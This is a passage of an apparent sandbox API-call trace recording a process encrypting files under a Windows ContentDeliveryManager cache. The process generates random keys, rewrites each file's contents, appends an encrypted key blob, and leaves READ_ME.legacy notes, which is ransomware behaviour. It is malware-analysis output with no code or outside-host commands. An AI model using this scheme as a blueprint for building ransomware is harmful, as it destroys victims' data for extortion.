pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.342] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.343] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.343] CloseHandle (hObject=0x1be8) returned 1 [0193.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.344] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1504773412", dwFileAttributes=0x80) returned 1 [0193.344] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1504773412" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1504773412"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be8 [0193.345] GetFileSizeEx (in: hFile=0x1be8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=66878) returned 1 [0193.345] ReadFile (in: hFile=0x1be8, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1053e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1053e, lpOverlapped=0x0) returned 1 [0193.357] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=-66878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.357] WriteFile (in: hFile=0x1be8, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x1053e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1053e, lpOverlapped=0x0) returned 1 [0193.357] SetFilePointer (in: hFile=0x1be8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1053e [0193.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.358] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.358] WriteFile (in: hFile=0x1be8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.358] CloseHandle (hObject=0x1be8) returned 1 [0193.359] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6b72c16, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbdff375, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4eb0 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6b72c16, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfbdff375, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3918cdcd, ftCreationTime.dwHighDateTime=0x1d327d1, ftLastAccessTime.dwLowDateTime=0x391b3022, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x393ef4f5, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x58b6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504785768", cAlternateFileName="150478~1")) returned 1 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2505e10b, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x2505e10b, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x250aa5cc, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504797760", cAlternateFileName="150479~1")) returned 1 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x239fe4e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4a3580d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6a8def4, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa4a3580d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdff375, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdff375, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdff375, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.360] FindNextFileW (in: hFindFile=0x30d4eb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdff375, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdff375, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdff375, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.360] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.360] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0193.361] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.361] ReadFile (in: hFile=0x1bec, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.361] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.361] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.361] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.362] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.362] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.362] CloseHandle (hObject=0x1bec) returned 1 [0193.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.365] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.365] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0193.366] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.366] ReadFile (in: hFile=0x1bec, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.366] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.366] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.366] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.366] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.366] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.366] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.367] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.367] CloseHandle (hObject=0x1bec) returned 1 [0193.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.369] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504797760", dwFileAttributes=0x80) returned 1 [0193.370] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504797760" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504797760"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0193.370] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15080) returned 1 [0193.371] ReadFile (in: hFile=0x1bec, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x3ae8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ae8, lpOverlapped=0x0) returned 1 [0193.382] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=-15080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.382] WriteFile (in: hFile=0x1bec, lpBuffer=0x30dab28*, nNumberOfBytesToWrite=0x3ae8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dab28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ae8, lpOverlapped=0x0) returned 1 [0193.382] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ae8 [0193.382] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.382] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.382] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.382] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.383] CloseHandle (hObject=0x1bec) returned 1 [0193.384] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.384] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.384] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504785768", dwFileAttributes=0x80) returned 1 [0193.385] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\1504785768" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\1504785768"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0193.385] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=22710) returned 1 [0193.385] ReadFile (in: hFile=0x1bec, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x58b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x58b6, lpOverlapped=0x0) returned 1 [0193.397] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=-22710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.397] WriteFile (in: hFile=0x1bec, lpBuffer=0x30dc8f8*, nNumberOfBytesToWrite=0x58b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc8f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x58b6, lpOverlapped=0x0) returned 1 [0193.397] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x58b6 [0193.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.397] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.397] WriteFile (in: hFile=0x1bec, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.398] CloseHandle (hObject=0x1bec) returned 1 [0193.399] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x821ae63c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4a30 [0193.399] FindNextFileW (in: hFindFile=0x30d4a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x821ae63c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.399] FindNextFileW (in: hFindFile=0x30d4a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4157b08c, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4157b08c, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4af1f4d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.399] FindNextFileW (in: hFindFile=0x30d4a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41554e17, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x41554e17, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4aa5afd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.399] FindNextFileW (in: hFindFile=0x30d4a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe25678, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe25678, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.400] FindNextFileW (in: hFindFile=0x30d4a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe25678, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe25678, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.400] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf0 [0193.400] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.401] ReadFile (in: hFile=0x1bf0, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, 